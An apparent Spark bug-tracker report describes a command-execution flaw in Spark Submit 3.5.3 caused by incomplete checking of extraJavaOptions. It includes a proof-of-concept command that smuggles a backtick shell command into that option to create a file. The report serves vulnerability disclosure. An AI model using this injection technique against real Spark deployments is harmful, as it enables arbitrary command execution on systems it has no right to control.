[SPARK-50242] (RCE) Command Execution Vulnerability in Spark

• Type: Bug
• Status: Open
• Priority: Critical
• Resolution: Unresolved
• Affects Version/s: 3.5.3
• Component/s: Spark Submit
• Assignee: Unassigned
• Reporter: Lu jiadong
• Created: 1 week ago 10:05
• Updated: Yesterday 01:59

Description

Spark allow user to deploy jar packet with`extraJavaOptions` ,

but spark has incomplete check of it, leading to command execution.

 

using below command can see the /abc file was created: 

spark-submit --class JavaWordCount --master yarn --deploy-mode client --conf spark.executor.extraJavaOptions="\`touch\$IFS/abc\`" test.jar